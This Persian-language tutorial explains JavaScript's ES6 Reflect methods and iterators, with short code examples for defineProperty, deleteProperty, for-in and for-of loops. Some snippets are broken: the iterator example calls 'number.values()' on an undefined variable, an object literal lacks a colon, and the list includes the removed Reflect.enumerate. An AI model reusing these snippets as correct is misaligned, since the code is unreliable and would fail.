          متدهای شیء Reflect
          در ادامه تعدادی از متدهای شیء Reflect را مشاهده می‌کنید:
          Reflect.get(target, name, [receiver])
          
          Reflect.set(target, name, value, [receiver])
          
          Reflect.has(target, name)
          
          Reflect.apply(target, receiver, args)
          
          Reflect.construct(target, args)
          
          Reflect.getOwnPropertyDescriptor(target, name)
          
          Reflect.defineProperty(target, name, desc)
          
          Reflect.getPrototypeOf(target)
          
          Reflect.setPrototypeOf(target, newProto)
          
          Reflect.deleteProperty(target, name)
          
          Reflect.enumerate(target)
          
          Reflect.preventExtensions(target)
          
          Reflect.isExtensible(target)
          
          Reflect.ownKeys(target)
          تعدادی از متدهای فوق خیلی مشابه متدهای Object هستند؛ با این تفاوت که متدهای فوق اطلاعات بهتری را بر می‌گردانند. به عنوان مثال متد Reflect.defineProperty در صورت ایجاد شدن یک پراپرتی جدید، مقدار true را برمی‌گرداند:
          var yay = Reflect.defineProperty(target, 'foo', { value: 'bar' })
          if (yay) {
            // yay!
          } else {
            // oops.
          }
          اگر همین کار را با استفاده از متد Object.defineProperty انجام می‌دادیم می‌بایست کد را درون بلاک try/catch می‌نوشتیم:
          try {
            Object.defineProperty(target, 'foo', { value: 'bar' })
            // yay!
          } catch (e) {
            // oops.
          }
          به عنوان یک مثال دیگر، قبلاً برای حذف یک پراپرتی از یک شیء از کلمه کلیدی delete به اینصورت استفاده می‌کردیم:
          var target = { foo: 'bar', baz: 'wat' }
          delete target.foo
          console.log(target)
          // <- { baz: 'wat' }
          اما با کمک متد Reflect.deleteProperty به راحتی می‌توانیم یک پراپرتی را حذف کنیم:
          var target = { foo: 'bar', baz: 'wat' }
          let isDeleted = Reflect.deleteProperty(target, 'foo')
          console.log(isDeleted );
          // true
          در این‌حالت همانند متد Reflect.defineProperty، در صورت موفقیت‌آمیز بودن عمل حذف، مقدار true برگردانده می‌شود.
          برای مشاهده‌ی لیست کامل متدهای فوق می‌توانید به اینجا مراجعه کنید. همچنین می‌توان با مراجعه به قسمت Browser compatibility وضعیت پشتیبانی هر کدام را در مرورگرهای مختلف مشاهده کرد.

          نکاتی که در حین کار کردن با Reflect باید در نظر بگیرید:
          • این شیء فاقد متد [[Construct]] می‌باشد. یعنی نمی‌تواند همراه با کلمه‌ی کلیدی new مورد استفاده قرار گیرد.
          • همچنین نمی‌توان آن را همانند یک تابع فراخوانی کرد.
          • تمام متدهای آن به صورت استاتیک تعریف شده‌اند (همانند شیء Math).

          ‫Iterators در ES 6

          $
          0
          0
          یکی از اهداف ES 6، استاندارد سازی کار با Iterators و Iterables است. فرض کنید شیءایی را داریم که مجموعه‌ای از عناصر را در بر دارد. این مجموعه می‌تواند آرایه‌ای از عناصر باشد و یا set و map اضافه شده به ES 6 و یا حتی اشیایی که در زمان اجرا ایجاد می‌شوند. اگر این مجموعه Iterable باشد، حرکت بر روی آن یک Iterator را تولید می‌کند که امکان حرکت در این مجموعه را آیتم به آیتم میسر خواهد کرد:
           


          هر Iterator شیءایی است که دارای متد next می‌باشد. هر بار که این متد فراخوانی می‌شود، عضو بعدی مجموعه، بازگشت داده خواهد شد. خروجی هر مرحله، درون یک شیء با دو خاصیت value و done قرار داده می‌شود. value‌، مقدار مرحله‌ی بعد است و done مشخص می‌کند که آیا به پایان مجموعه رسیده‌ایم یا خیر (بنابراین در اینجا تعداد اعضای Iterator مشخص نیست).


          مثالی از پیمایش یک آرایه با چندین روش مختلف

          در مثال زیر، آرایه‌ای از اعداد را داریم که نیاز است جمع اعضای آن محاسبه شود:
           let sum = 0;
          let numbers = [1,2,3,4];
          این‌کار را می‌توان با استفاده از یک حلقه‌ی for متداول انجام داد. از آنجائیکه آرایه دارای خاصیت length است، می‌توان از آن جهت تعیین حد بالایی آرایه استفاده کرد:
           // for loop
          sum = 0;
          for(let i =0; i < numbers.length; i++){
               sum += numbers[i];
          }
          //sum = 10
          روش دوم انجام این‌کار، استفاده از حلقه‌ی for in است. این حلقه هربار ایندکس بعدی قابل استفاده‌ی آرایه را بازگشت می‌دهد که از آن می‌توان جهت دسترسی به اعضای آرایه استفاده کرد:
           // for in
          sum = 0;
          for(let i in numbers) {
              sum += numbers[i];
          }
          //sum = 10
          روش دیگر انجام این‌کار با استفاده از Iterators است:
           // iterator
          sum = 0;
          
          let iterator = number.values();
          let next = iterator.next();
          while(!next.done){
              sum += next.value;
              next = iterator.next();
          }
          //sum = 10
          برای کار با Iterators، ابتدا باید یک شیء Iterator را از مجموعه‌ایی که در اختیار داریم، تولید کنیم. برای مثال آرایه‌ها دارای متدی به نام values هستند که با فراخوانی ()number.values، سبب تولید یک Iterator می‌شوند. این Iterator امکان حرکت بین مقادیر آرایه را در اینجا میسر می‌کند.
          مرحله‌ی بعدی، فراخوانی متد next این Iterator است. این عملیات باید در طی یک حلقه، تا پایان کار Iterator انجام شود. همانطور که در ابتدای بحث نیز عنوان شد، خروجی متد next یک شیء است که دارای خواص value و done می‌باشد. اگر done مساوی true شد، یعنی به پایان کار پیمایش رسیده‌ایم.
          البته هدف از این مثال، صرفا نمایش سطح پایین کار با Iterators بود. در عمل از حلقه‌ی جدیدی به نام for of برای انجام این پیمایش استفاده می‌شود.


          معرفی حلقه‌ی for of

          جاوا اسکریپت سال‌ها است که دارای حلقه‌ی for in می‌باشد و نمونه‌ای از کاربرد آن‌را در مثال قبل مشاهده کردید. اگر این حلقه بر روی آرایه‌ها فراخوانی شود، هربار ایندکس پیمایش شده را بازگشت می‌دهد و اگر بر روی یک شیء فراخوانی شود، خواص آن شیء را بازگشت می‌دهد:
           var person = { first: "Vahid", last "N" };
          for(let i in person) {
             console.log(person[i]);
          }
          در این مثال، i بار اول به first و بار دوم به خاصیت last اشاره می‌کند.
          چون این حلقه صرفا ایندکس‌ها و کلیدها را بازگشت می‌دهد، جهت کار با Iterators که نیاز است به مقادیر اعضاء دسترسی پیدا کنیم، مناسب نیست. به همین جهت در ES 6، حلقه‌ی جدیدی به نام for of برای کار با Iterators معرفی شده‌است:
           let numbers = [1,2,3,4];
          for(let i of numbers) {
             console.log(i);
          }
          این حلقه برخلاف for in، بر روی values، کار پیمایش را انجام می‌دهد. همچنین به صورت خودکار در پشت صحنه متد next یک Iterator را فراخوانی می‌کند و خاصیت done آن‌را بررسی کرده و زمانیکه این خاصیت مساوی true شد، حلقه را خاتمه می‌دهد. برای نمونه مثال سطح پایین while دار ابتدای بحث را به نحو ساده‌تری با حلقه‌ی for of ذیل می‌توان جایگزین کرد:
          let sum = 0;
          let numbers = [1,2,3,4];
          
          for(let n of numbers){
             sum += n;
          }

          for of یکی از روش‌های پیمایش Iterators است. پارامترهای restو همچنین Array.fromنیز چنین قابلیتی را فراهم می‌کنند.

          امکان پیاده سازی Iterators سفارشی نیز وجود دارد که پیشنیاز آن، درک مبحث جدید Symbols است که به صورت جداگانه‌ای بررسی خواهد شد.
          Viewing all 1980 articles
          Browse latest View live


          <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>